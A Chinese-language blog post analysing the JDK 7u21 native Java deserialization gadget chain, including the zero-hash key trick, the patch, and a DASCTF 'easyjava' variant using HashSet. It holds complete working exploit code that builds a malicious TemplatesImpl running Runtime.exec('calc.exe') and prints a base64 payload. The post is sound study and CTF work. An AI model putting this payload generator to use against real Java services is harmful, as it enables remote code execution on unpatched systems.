0%

Jdk7u21 原生反序列化链

在ysoserial 的payloads目录下 有一个jdk7u21,以往的反序列化Gadget都是需要借助第三方库才可以成功执行,但是jdk7u21的Gadget执行过程中所用到的所有类都存在在JDK中

影响版本:

  • JDK <= 7u21

测试环境:

  • JDK 7u21

pom.xml

1
2
3
4
5
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>

需要添加javassist依赖

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

利用链分析

入口点是在LinkedHashSet的readObject,又因为继承了HashSet,即HashSet的readObject

image-20210821152916574

关注map.put,PRESENT是一个空的object变量,跟进,大概逻辑为判断key的hash值是否和已有的相等,然后添加进value

image-20210821153215114

注意key.equals(k),这里使用动态代理来拓展供给面,我们知道动态代理最终的调用是Handler的invoke函数实现的。这里使用的是AnnotationInvocationHandler这个动态代理handler,查看它的invoke实现

image-20210821154338726

方法名为equal时最后调用equalsImpl,跟进

image-20210821162516121

关注var8 = var5.invoke(var1)这个反射调用,跟进getMemberMethods

image-20210821162703442

equalsImpl这个函数功能大概明了了,从this.type获取类声明的函数,然后循环执行,type在构造函数这里可控

image-20210821162852684

这里用到了cc2的TemplatesImpl,详细可以参考 URLDNS&Commons Collections 1-7,这个类只有两个方法

image-20210821163340588

newTransformer方法最后会从字节码实例化恶意类从而执行其静态代码块的恶意代码

如何构造满足条件的hash值?

那么怎么才能执行key.equals(k),回到map.put的实现

image-20210821153215114

首先第一次调用map.put()时传入的参数e是我们封装了恶意代码的TemplatesImpl对象,另一个参数就是一个空的Object对象

image-20210821172348046

继续put的实现,hash会调用对象本身的hashcode方法,indexFor方法则是会根据计算出的hashcode返回hash索引。第一次调用时table为空,那么就不会进入for循环。addEntry会将key添加进table,包含其hashcode还有hash索引。

那么考虑第二次调用的时候要进入for循环需要根据hashcode计算出的hash索引和第一次传入的TemplatesImpl对象相同。第二次传入的是AnnotationInvocationHandler对象,那么如何让这两个类型都不同的对象计算出的hashcode是相同的呢?

AnnotationInvocationHandler是动态代理的handler,调用其hashcode,最终调用hashCodeImpl

1
2
3
4
5
6
7
8
9
10
private int hashCodeImpl() {
int var1 = 0;

Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}

return var1;
}

var3遍历memberValues存储的键值对,然后var1为hashcode值,memberValues构造时可控

image-20210821174517896

那么让memberValues的第一个键值对的值为封装了恶意代码的TemplatesImpl对象,然后关键就是

1
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

看第一次循环,memberValueHashCode(var3.getValue()的值即为封装了恶意代码的TemplatesImpl对象的hashcode,因为0和任何数异或的结果都是那个数,那么只需要((String)var3.getKey()).hashCode()即key的hashcode为0就可以保证循环结束后返回的hashcode值一直为装了恶意代码的TemplatesImpl对象的hashcode,这里f5a5a608字符串的hashcode为0

for循环过后

1
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

因为&&||有短路效果,需要满足 e.hash == hash(k = e.key) != key 才会执行 key.equals(k)

第二次put传入代理对象时,e.hash为封装了恶意代码的TemplatesImpl对象的hashcode,我们上面已经做了处理,代理对象返回的hashcode必然和 e.hash相等。同时此时k为代理对象,而 e.key 为TemplatesImpl对象,必然不相同

利用思路:

  1. 构造恶意TemplatesImpl
  2. 实例化一个HashMap,并添加keyf5a5a608,恶意构造好的TemplatesImpl加入到map中
  3. 利用反射实例化AnnotationInvocationHandler类,传入map
  4. 创建一个AnnotationInvocationHandler对象为handler的动态代理
  5. 实例化HashSet,并将TemplatesImpl和设置的代理这两个对象放进去

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package demo;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class App {
public static void main(String[] args) throws Exception {
//创建恶意class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Str3am");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 创建 static 代码块,并插入代码
((CtClass) cc).makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//设置父类为AbstractTranslet
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

String zeroHashCodeStr = "f5a5a608";

// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(App.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);

try {
ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin"));
obout.writeObject(set);
ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin"));
obin.readObject();
} catch (Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

漏洞修复

在 jdk > 7u21 的版本,修复了这个漏洞,AnnotationInvocationHandlerreadObject() 方法增加了异常抛出,导致反序列化失败

image-20210821180320677

DASCTF July easyjava

禁止序列化LinkedHashSet类

image-20210821195827791

序列化父类HashSet即可,当然这里肯定有其他解法

HashSet和LinkedHashSet区别在于,LinkedHashSet里数据的下标和我们插入时的顺序一样,而HashSet不保证有序

https://www.zhihu.com/question/28414001

payload多打几次就可以了,实在不行交换proxy和templates的add顺序再多打几次

Jdk7u21 HashSet版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.BASE64Encoder;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class App {
public static void main(String[] args) throws Exception {
//创建恶意class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Str3am");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 创建 static 代码块,并插入代码
((CtClass) cc).makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//设置父类为AbstractTranslet
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// TemplatesImpl templates = new TemplatesImpl();
// setFieldValue(templates, "_bytecodes", new byte[][]{
// ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
// });
// setFieldValue(templates, "_name", "HelloTemplatesImpl");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

String zeroHashCodeStr = "f5a5a608";

// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(App.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

// 实例化HashSet,并将两个对象放进去
HashSet set = new HashSet();
set.add(proxy);
set.add(templates);




// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);

// try {
// ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin"));
// obout.writeObject(set);
// ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin"));
// obin.readObject();
// } catch (Exception e){
// e.printStackTrace();
// }

ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream obout = new ObjectOutputStream(baout);
obout.writeObject(set);
System.out.println(new BASE64Encoder().encode(baout.toByteArray()).replaceAll("[\\s*\t\n\r]", ""));
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

EvilTemplatesImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

public EvilTemplatesImpl() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}

参考链接